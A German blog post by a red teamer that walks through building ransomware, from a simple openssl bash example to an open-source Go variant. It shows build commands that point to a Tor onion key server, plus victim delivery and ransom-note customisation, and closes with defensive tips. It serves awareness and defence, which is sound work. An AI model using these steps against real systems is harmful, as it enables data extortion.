Skip to main content

Ich habe absichtlich alle Daten auf meinem Computer verschlüsselt und den Schlüssel zum Entschlüsseln ans TOR-Netzwerk, auch bekannt als das Darknet, geschickt. In diesem Blog zeige ich, warum ich das gemacht habe und gebe im Anschluss Tipps, um aus Angreifer-Sicht am besten davor gewappnet zu sein.

1. Warum sich überhaupt selbst verschlüsseln

Ransomware-Angriffe treffen uns im Jahr 2022 mehr denn je. Jüngste Beispiele wie dieses zeigen uns, dass größere Unternehmen nicht unbedingt besser davor geschützt sind. Die Angreifer schrecken auch nicht vor der kritischen Lebensmittel-Infrastruktur zurück. Aufgrund dieser Entwicklung hatte ich kürzlich eine Diskussion mit einem Kunden. Dabei ging es nicht speziell um den Schutz vor derartiger Erpresser-Software, sondern eher um die eingesetzte Technologie und Funktion dahinter im Allgemeinen. Am Ende des Gesprächs war ich unzufrieden, und zwar nicht, weil ich lange Diskussion eher meide, sondern weil es mir mehr Spaß macht Dinge praktisch herzuzeigen, anstatt sie nur verbal zu erklären. Anders als mein Mitgründer und Freund Stefan Winkler, dessen Stärke es ist, sich Lösungen auszudenken und darüber zu diskutieren, verfolge ich eher den praktischen Ansatz. Meiner Erfahrung nach eignet man sich technisches (!) Wissen am besten an, wenn man Dinge einfach ausprobiert und Problemstellungen versucht zuerst selbst zu lösen.

Hier ein kurzer Vorgeschmack wie die in diesem Blog erstellte Ransomware-Variante in Aktion aussieht:

Da dieser Blog im Grunde das Rüstzeug für die Erstellung von Erpressungstrojanern enthält, könnten sich einige Leser fragen, warum man solche Informationen veröffentlichen sollte. Naja, der Grund ist ganz simpel: Der beste Weg, sich vor Cyber-Bedrohungen zu schützen, ist zu verstehen, wie sie funktionieren (das war übrigens meine Motivation, White-Hat Hacker zu werden 😉). Technologien zu verbergen und technisches Knowhow geheim zu halten ist nicht gerade State-of-the-Art.

Achtung: Wenn dem Leser dieses Blogs seine/ihre persönlichen Daten* wichtig sind, dann führe die in diesem Blog gezeigten Schritte nur in einer kontrollierten, sicheren und isolierten Umgebung aus. Nutze unbedingt Virtuelle Maschinen, wie z.B. VMware oder VirtualBox!

*Mit Daten sind in diesem Zusammenhang die Bilder, Videos, Dokumente usw. gemeint, die auf deiner Festplatte gespeichert sind, nicht jene, die jeden Tag auf Social-Media-Plattformen geteilt werden. <sarkasmus>Letztere Art von Daten wird von den Plattform-Betreibern gut geschützt, weil sie bares Geld wert sind – kein Grund zur Sorge also!</sarkasmus>

2. Die Basics verstehen

Bevor ich zeige, wie man Ransomware mit einer Verbindung zum Darknet erstellen kann, müssen erst die Grundlagen dargelegt werden. Fangen wir also mit einem simplen Beispiel an.

Die Idee ist, eine ausführbare Datei zum Verschlüsseln von Dateien (simple_encryptor) und eine andere zum Entschlüsseln der verschlüsselten Dateien (simple_decryptor) zu haben. Dabei verwenden wir hauptsächlich die Funktionen des Kommandozeilen-Tools openssl, das auf den meisten Linux-Systemen standardmäßig installiert ist. Per WSL ist es auch auf Windows-Systemen verfügbar.

Die folgenden Codezeilen gehören zum Programm für Verschlüsseln von Daten. Wir nennen es einfach simple_encryptor:

Wichtig hier ist Zeile 17, wo der openssl Befehl ausgeführt wird. Die einzelnen Argumente haben die folgende Funktion:

Sobald eine Datei verschlüsselt ist, entfernen wir die entsprechende unverschlüsselte Datei (Zeile 18). Damit stellen wir sicher, dass uns unser Opfer das wohlverdiente Lösegeld gibt.

Sobald die Dateien verschlüsselt sind, gibt es in der Regel eine Textdatei, die Anweisungen zur Entschlüsselung aller Dateien enthält (how_to_decrypt.txt). Dies geschieht in Zeile 21.

Der Einfachheit halber kompilieren wir unseren Quellcode nicht zu einer ausführbaren Datei und das Passwort ist fix vorgegeben (pass123). Wir erstellen einfach eine Bash-Textdatei, weisen ihr Ausführungsrechte zu (z. B. chmod +x) und starten sie:

Um die Dateien entschlüsseln zu können brauchen wir noch ein separates Programm (simple_decryptor). Wie im vorherigen Beispiel greifen wir hier wieder auf openssl zurück:

Bevor wir die Entschlüsselungsroutine starten, entfernen wir die txt-Datei mit den Anweisungen zum Entschlüsseln (Zeile 14).

Danach können wir unsere wertvollen Dateien wieder entschlüsseln (Zeile 18). Der einzige signifikante Unterschied zum vorherigen Befehl ist das hinzugefügte -d Flag, das openssl anweist, alle Daten zu entschlüsseln auf Basis des mitgegebenen Passworts.

In Zeile 19 wird die verschlüsselte Version der Datei entfernt.

Hinweis: Eine der Aufgaben in meinen früheren Unternehmen bestand darin, die Ransomware-Erkennung von Filesharing-Lösungen wie z.B. Dropbox zu bewerten. Es kann sehr zeitaufwändig sein, eine gewisse Menge zufälliger Beispieldateien zu erzeugen, sie zu verschlüsseln, zu entschlüsseln und so weiter. Um dies effizienter zu gestalten, habe ich ein weiteres Bash-Skript erstellt, das beliebig viele Dateien mit zufälligen (nutzlosen) Binärdaten erzeugt:

Das Hilfsprogramm ist sehr einfach zu bedienen. Man muss nur die gewünschte Anzahl der zu erzeugenden Dateien angeben. Das Programm beendet den Vorgang innerhalb weniger Sekunden:

Nun gut, das war’s mit dem ersten Teil dieses Blogs. Wenn du es bisher geschafft hast, nicht deinen eigenen Computer zu verschlüsseln, hast du dich jetzt offiziell für den zweiten Teil qualifiziert.

3. Dein eigener Erpressungstrojaner

Bevor wir nun ins Detail gehen und ich erläutere, wie du deine eigene komplexe Ransomware inkl. direkter TOR-Netzwerk Verbindung erstellen kannst, möchte ich dem GitHub-Benutzer mauri870 mit seinem POC danken. Er hat dieses Projekt als Teil seines Studiums entwickelt, und obwohl es in falschen Händen Schaden anrichten kann, hilft es uns zu verstehen, wie Ransomware tatsächlich funktioniert. Wie so viele Ransomware-Varianten in letzter Zeit, ist auch diese in Golang geschrieben, wie z.B. auch die Snake Variante.

*Um ehrlich zu sein, wurde der Begriff Darknet in der Überschrift deshalb verwendet, weil er Neugier erzeugt (ohne gelogen zu haben). Das Darknet ist nur ein kleiner Teil des Deep Web. Seriöse Websites wie die New York Times bieten ihre eigene Deep Web-Website an. In einem weiteren Blog erkläre ich die genauen Unterschiede zwischen den einzelnen Web-Typen.

Im Gegensatz zu unserem vorherigen sehr einfachen Beispiel kannst du diese Ransomware-Variante direkt auf deinem (hoffentlich nicht privat genutzten) Windows-System ausführen, ohne auf WSL zurückgreifen zu müssen.

Das Projekt verschlüsselt deine Dateien (im Hintergrund, falls gewünscht) mit AES-256-CTR, einem starken Verschlüsselungsalgorithmus und verwendet RSA-4096, um die Verbindung mit unserem TOR-Server zu sichern.

Unsere Ransomware-Infrastruktur besteht aus drei Hauptbestandteilen:

  • ransomware.exe –> Unser Ransomware-Programm, welches beim Opfer zur Ausführung gebracht werden muss
  • unlocker.exe –> Das Programm zur Entschlüsselung aller Dateien (vorausgesetzt der richtige Entschlüsselungs-Schlüssel wird verwendet)
  • server (exe, mach-o, elf) –> Unsere Serverinstanz, die Schlüssel und andere Kommunikationsdaten empfangen und speichern kann

Wir fangen an, indem wir entsprechende GitHub Repository klonen, und zwar mit den folgenden Befehlen:

git clone github.com/mauri870/ransomware
cd ransomware

Wenn man Docker installiert hat (sehr zu empfehlen!), kann die geklonte Build-Datei zusammen mit einigen zusätzlichen Argumenten gestartet werden:

./build-docker.sh make -e USE_TOR=true SERVER_HOST=mindsetedcj34tyicolvu4pukj5mx2m6tutev4z4vxm5uy2u7lzmnhad.onion SERVER_PORT=4242 GOOS=linux

Bevor der obige Befehl ausgeführt wird, muss noch ein kleiner Bug im Code korrigiert werden. Wenn man wie ich die Option zur Nutzung des TOR-Netzwerks gewählt hat (USE_TOR=true), muss der Link in der Datei /tor/tor_windows.go in Zeile 25 ersetzt werden:

Ich habe den Link durch diesen ersetzt. Wenn dieser Schritt übersprungen wird, kann das Programm ransomware.exe nicht den neuesten TOR-Client herunterladen und der Verschlüsselungsprozess kann nicht beendet werden.

Wie oben bereits kurz angedeutet, gibt es sogar eine Option, die Malware im Hintergrund laufen zu lassen, was das Ganze zwar sehr realistisch macht, aber nicht gerade praktisch ist, um für Demonstrationszwecke etwas herzuzeigen. Die entsprechende Einstellung dafür, kann man selbst leicht herausfinden 😉.

Nun ist alles vorbereitet, um die ausführbaren Dateien zu erstellen:

Die erstellten Dateien sind im bin/ Verzeichnis:

Achtung: Auf keinen Fall ransomware.exe AUF DEM PERSÖNLICHEN COMPUTER AUSFÜHREN, sondern NUR IN EINER (VIRTUELLEN) TEST-UMGEBUNG! Ich fühle mich nicht verantwortlich, wenn versehentlich komplette Festplatten verschlüsselt werden.

Noch ein Wort zu Onion-Diensten: Unser mindsetters TOR Hidden Service läuft als Webserver auf einem Raspberry Pi bei mir zu Hause und ist mit dem TOR Browser über folgende Adresse erreichbar:

http://mindsetedcj34tyicolvu4pukj5mx2m6tutev4z4vxm5uy2u7lzmnhad.onion

Wie man seinen eigenen Hidden Service einrichtet und warum diese Onion-Adressen eine zufällige Zeichenfolge zu sein scheinen (mit Ausnahme der ersten paar Buchstaben), ist eine andere Geschichte, die ich in einem separaten Blogbeitrag erläutern werde.

Als Nächstes müssen wir unseren Server starten, damit unsere Ransomware die erforderlichen Informationen senden kann, um die Dateien später entschlüsseln zu können. Dafür führt man einfach den folgenden Befehl aus:

Wenn alles funktioniert hat, kann man die erfolgreiche Verbindung überprüfen, indem man den Server mittels Tor-Browser versucht abzurufen:

Wer sich nun frägt, warum hier eine andere Serverantwort als die langweilige OK-Meldung angezeigt wird, nicht wundern, es wird später noch beschrieben wie man diese und andere Anpassungen machen kann.

Sobald die entsprechende Serverantwort im Tor-Browser angezeigt wird, können die Logs auf dem Server überprüft werden:

Perfekt! Jetzt müssen wir unser Opfer nur noch davon „überzeugen“, die Datei ransomware.exe herunterzuladen und auszuführen. Die Art und Weise, wie man die Dateien an das Opfer überträgt, bleibt einem selbst überlassen. Es muss nur sichergestellt werden, dass keine Netzlaufwerke (SMB) mit produktiven Computern verbunden sind (also alles was nicht zum Testsystem gehört), bevor die Ransomware gestartet wird.

Schauen wir uns nun an, wie sich unsere Ransomware in der Praxis verhält:

Alle Dateien sind nun verschlüsselt, Base64-kodiert und mit der Dateiendung .mindless umbenannt worden (letztere lässt sich anpassen):

Als nächstes sollte sich unser „Opfer“ die Anweisungen zum Entschlüsseln näher ansehen (READ_TO_DECRYPT.html):

Unsere Ransomware hat eine weitere Datei erstellt, die eine Liste aller verschlüsselten Dateien enthält. Damit lässt sich gut feststellen, welcher Schaden angerichtet worden ist:

Zur selben Zeit hat unser Server die eindeutige ID des Opfers und den Schlüssel zum Entschlüsseln erhalten:

Diese Informationen sind auch in einer in Golang-Datenbank (BoltDB) abrufbar. Somit bleiben sie auf der Festplatte gespeichert, so dass man sich keine Sorgen machen muss, die Schlüssel zu verlieren:

Nachdem wir endlich unser lächerlich kleines (Ransom-) Taschengeld erhalten haben, sollten wir ehrlicherweise den Entschlüsselungsschlüssel unserem Opfer zusenden, um das funktionierende Geschäftsmodell der Ransomware-Industrie nicht zu gefährden. Schauen wir uns an, wie der Entschlüsselungsprozess aussieht:

Interessant ist in diesem Zusammenhang die Tatsache, dass die Entschlüsselung auch dann gestartet worden wäre, wenn das Opfer einen willkürlichen (falschen) Schlüssel verwendet hätte – die Daten waren in diesem Fall jedoch für immer verloren.

3.1 – Customizing und persönliches Branding

Wenn man es zur Perfektion treiben will und die Opfer am Ende sagen sollen: „Meine Dateien sind zwar alle verschlüsselt, aber hey, das Logo, die Dateiendungen und die Anleitung zum Entschlüsseln sind wirklich cool!“, dann musst du den Quellcode ein wenig anpassen.

Die meisten Einstellungen können in der Datei common.go im Verzeichnis cmd/ vorgenommen werden. Hier sind die folgenden Anpassungen möglich:

Die nächste Datei, die angepasst werden muss, ist banner.go unter dem cmd/ Verzeichnis. Hier kann man seinen persönlichen Banner erstellen. Dieser wird sowohl während der Verschlüsselungs- als auch der Entschlüsselungsroutine angezeigt. Um die Erstellung des Banners einfacher zu gestalten, einfach nach „ASCII-Banner-Generator“ googeln und es werden mehrere nützliche ASCII-Generatoren angezeigt – der Kreativität sind hier keine Grenzen gesetzt:

Das Ziel des Angreifers sollte sein ein eher gutes Verhältnis zu deinem Opfer zu haben. Daher muss eine höfliche Nachricht hinterlassen werden, sobald alle Dateien verschlüsselt sind. Die Datei „HOW_TO_DECRYPT.html“ kann in der Datei ransomware.go unter dem Verzeichnis cmd/ransomware/ geändert werden:

Zum Schluss zeige ich noch, wie die Nachricht des Ransomware-Servers, nachdem dieser aufgerufen wird, verändert werden kann. Aus Sicht des Opfers ist sie nicht relevant, wohl aber ist sie gut geeignet für Demonstrationszwecke (was schließlich der einzige Grund für diesen Blog ist). Man kann die Nachricht in der Datei handlers.go unter dem Verzeichnis web/ anpassen:

Es gibt noch viele weitere Anpassungsmöglichkeiten, z. B. welche Ordner nicht verschlüsselt werden sollen oder wie mit Netzwerkfreigaben umgegangen werden soll. Die wichtigsten und wirklich sichtbaren Anpassungen sind somit aber abgedeckt.

4. Schutz vor Ransomware

Wenn man diesen Teil des Blogs erreicht hat, dann wurde entweder 1) eine eigene Ransomware erstellt, 2) ein ungewöhnlicher Lesestil angewandt oder 3) man ist nur an Tipps zum Schutz gegen Ransomware-Angriffe interessiert.

Wichtig: Beim Testen sollte aufgefallen sein, dass unser zweites Ransomware-Beispiel von den meisten Antiviren-Anbietern (einschließlich Windows Defender) erkannt wird. Das ist grundsätzlich auch gut so, denn so wird sichergestellt, dass dieser Blogbeitrag nicht unzählige Cyberkriminellen auf den Plan ruft.

Neben den gefühlt bereits tausenden erschienen Artikeln zum Thema Schutz vor Ransomware, wäre es dennoch sehr schwer mit meinem Gewissen zu vereinbaren, keine Tipps zu geben – vor allem nach einem verfassten Artikel darüber, wie man selbst Ransomware entwickelt.

Aus der Sicht von Unternehmen kann ich erfahrungsgemäß die folgenden Maßnahmen empfehlen, um die Wahrscheinlichkeit eines Ransomware-Angriffs entscheidend zu minimieren.

4.1 – Implementierung von Backup-Regeln (und zwar sorgfältig)

Wenn man seine Bilder, privaten Schlüssel für Kryptowährungen und andere sensible Daten regelmäßig sichert, hat man immer ein aktuelles Backup griffbereit, mit dem der Betrieb wieder aufgenommen werden kann. Noch besser ist es einen Schritt weiterzugehen und den „Single Point of Failure“ zu vermeiden, indem man die Daten nach der 3-2-1-Backup-Regel streut.

Für sehr kritische Unternehmen ist der 3-2-1-1-Ansatz zu empfehlen. Dabei wird mindestens eine Kopie auf unveränderlichem (immutable) und nicht-löschbarem Speicher aufbewahrt.

Bitte nicht vergessen, die Backups regelmäßig zu Testzwecken wiederherzustellen. Es gibt kein schlimmeres Szenario, als wenn man sich auf ein Backup verlässt und es beim Wiederherstellen nicht funktioniert.

4.2 – Erstelle einen Plan

Man stelle sich vor, sein Unternehmen wird von Ransomware heimgesucht und jeder weiß genau, was, wann wie zu tun ist. Dies ist ein durchaus realistisches Szenario, wenn man einen Plan hat, der bestimmte Richtlinien und Vorgaben beinhaltet. Neben der Festlegung von Rollen und der Kommunikation während des Angriffs sollte auch eine Kontaktliste erstellt werden, u.a. mit allen Partnern oder Anbietern, die miteingebunden werden müssen.

Ein weiterer guter Ansatz ist externe Spezialisten damit zu beauftragen, die Ransomware-Strategie der involvierten Teams zu überprüfen und ob die daraus resultierenden Maßnahmen richtig gesetzt worden sind – so wie wir es tun.

4.3 – Systeme auf aktuellen Stand halten

Es muss sichergestellt werden, dass alle Betriebssysteme (Computer und Handys), Anwendungen und Software (von Drittanbietern) im Unternehmen regelmäßig auf dem neuesten Stand gehalten werden. Als Red Teamer kann ich behaupten, dass es nichts Befriedigenderes gibt als eine veraltete, anfällige Softwarekomponente, die ausgenutzt werden kann, um Schadsoftware ausführen zu können. Nach Möglichkeit sollte überall die Auto-Update-Funktion aktiviert werden, damit automatisch die aktuellen Sicherheits-Patches installiert werden. Nicht vergessen die Backup-Anwendung selbst zu aktualisieren. Es macht keinen Sinn Ransomware von heute mit der Technologie von gestern entgegenzutreten.

4.4 – Bewusstsein für die Bedrohung schaffen

Man kann es nicht oft genug erwähnen: Auch wenn man über die ausgefeilteste Technologie verfügt, ist die Sicherheit eines Unternehmens trotzdem nur so gut wie ihr schwächstes Glied – in diesem Fall ist das der Faktor Mensch. Es muss sichergestellt werden, dass die Mitarbeiter die Risiken, Bedrohungen und deren Auswirkungen verstehen, indem Awareness-Programme zur Sensibilisierung für IT-Sicherheit durchgeführt werden. Weiters müssen Mitarbeiter ermutigt werden, wann immer es möglich ist, MFA zu verwenden, um das Risiko eines erfolgreichen Angriffs erheblich zu verringern.

Auch die Durchführung von Phishing-Kampagnen sollte in Betracht gezogen werden, um den Reifegrad der Awareness über den Lauf der Zeit zu überwachen. Wenn Mitarbeiter in der Lage sind, bösartige E-Mails zu erkennen und zu vermeiden, ist das schon die halbe Miete, um Angriffen aus dem Weg zu gehen. Außerdem muss sichergestellt werden, dass die Mitarbeiter wissen, was zu tun ist und wen sie benachrichtigen müssen, wenn sie Angreifern zum Opfer fallen.

4.5 – Kenne und härte deine IT-Assets

Man kann nicht schützen, was man nicht kennt. Bevor man also mit dem Sichern der IT-Umgebung beginnt, sollte sichergestellt werden, dass eine aussagekräftige und vollständige Dokumentation aller IT-Geräte vorhanden ist. Ziel muss sein, die so genannte „Schatten-IT“ so gut wie möglich loszuwerden. Idealerweise verfügt man über eine gut gepflegte CMDB, in der das gesamte IT-Equipment dokumentiert wird.

Nach diesem Schritt kann eine sichere Konfigurations-Baseline dazu beitragen, die Angriffsfläche des Unternehmens zu begrenzen und Sicherheitslücken zu schließen, die durch Standardkonfigurationen entstanden sind (Stichwort Standard-Passwörter).

4.6 – Sichere die Netzwerk-Infrastruktur

Eine ausgefeilte Netzwerksegmentierung ist unabdinglich, da es für Angreifer nichts Schöneres gibt, als ein einziges flaches Netzwerk vor sich zu haben, in dem es sehr einfach ist, sich von Server zu Server zu bewegen (Lateral Movement). Durch die Implementierung von Netzwerk- (Mikro-) Segmentierung werden Netzwerke in mehrere Zonen kleinerer Netzwerke aufgeteilt, dabei wird der Zugang überwacht und beschränkt – insbesondere auf die kritischen Zonen wie z.B. Produktionsumgebungen.

4.7 – Implementierung eines Zero-Trust-Modells

Es gab mal eine Zeit, in der sicherheitsbewusste Fachkräfte den Ansatz „Vertraue, aber überprüfe!“ verfolgten. Heutzutage gilt diese Aussage als absolut nicht mehr zeitgemäß. Der weitaus bessere Ansatz ist das Zero-Trust-Modell, bei dem es um „Niemals vertrauen, immer überprüfen!“ geht. Dieses Modell konzentriert sich darauf, Geräten oder Benutzern nicht zu vertrauen, selbst wenn sie sich innerhalb des Unternehmensnetzes befinden – immer und standardmäßig.

In der Praxis bedeutet dies, sich nicht auf ein einziges Passwort zu verlassen (selbst wenn es sicher ist), sondern es mit MFA und rollenbasierter Zugangskontrolle (RBAC) zu kombinieren. Darüber hinaus ist die Überwachung aller Logs auf auffällige Events sowie die Verschlüsselung von Daten („data-at-rest“ & „data-in-transit“) von entscheidender Bedeutung.

5. Schlusswort

Der Zweck dieses Blogbeitrags ist es, die Funktion und Arbeitsweise von Ransomware-Angriffen zu erklären, indem man seine eigene Variante erstellt. Die Motivation diesen Artikel zu schreiben habe ich daraus gezogen, die technischen Zusammenhänge zu verstehen, um im Anschluss Unternehmen und Menschen effizienter davor schützen zu können.

Ein Fun-Fact zum Schluss: Microsofts Defender kann (mittlerweile) als effektive AV-Lösung angesehen werden. Als Red Teamer weiß ich, dass dessen Malware-Erkennung nicht mehr so einfach zu umgehen ist. In Anbetracht der Tatsache, dass der MS-Defender seiner „eigenen Familie“ nicht traut, hat er allerdings doch noch so seine Macken 😉.

Ich hoffe, dass der Inhalt dieses Blogs von Nutzen war. Idealerweise hat er einige zusätzliche Erkenntnisse gebracht, um die eigene IT-Umgebung sicherer zu machen. Ich freue mich über jeden Kommentar oder Feedback.

Und nicht vergessen: Irren ist menschlich, aber um wirklichen Schaden anzurichten, braucht es einen Computer! (Paul Ehrlich, amerikanischer Wissenschaftler)